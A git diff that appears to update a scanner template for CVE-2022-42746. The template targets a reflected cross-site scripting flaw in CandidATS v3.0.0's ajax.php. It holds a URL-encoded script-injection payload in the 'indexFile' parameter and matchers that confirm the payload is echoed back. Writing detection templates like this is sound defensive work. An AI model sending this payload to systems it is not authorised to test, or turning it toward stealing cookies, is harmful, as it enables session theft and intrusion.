Update CVE-2022-42746.yaml

cves/2022/CVE-2022-42746.yaml

@@ -7,22 +7,30 @@ info:
   description: CandidATS v3.0.0 on 'indexFile' of the 'ajax.php' resource, allows an external attacker to steal the cookie of arbitrary users.
   reference:
     - https://fluidattacks.com/advisories/modestep/
+  classification:
+    cve-id: CVE-2022-42746
   metadata:
-    shodan-query: http.html:"CandidATS"
     verified: true
-  tags: xss,cve,2022
+  tags: cve,cve2022,candidats,xss
 
 requests:
   - method: GET
     path:
-      - '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=desc&indexFile=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E&isPopup=0'
+      - '{{BaseURL}}/ajax.php?f=getPipelineJobOrder&joborderID=50&page=0&entriesPerPage=15&sortBy=dateCreatedInt&sortDirection=desc&indexFile=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E&isPopup=0'
 
     matchers-condition: and
     matchers:
       - type: word
         part: body
         words:
-          - '<script>alert(document.cookie)</script>'
+          - '<script>alert(document.domain)</script>'
+          - 'candidat'
+        condition: and
+
+      - type: word
+        part: header
+        words:
+          - text/html
 
         condition: and
       - type: status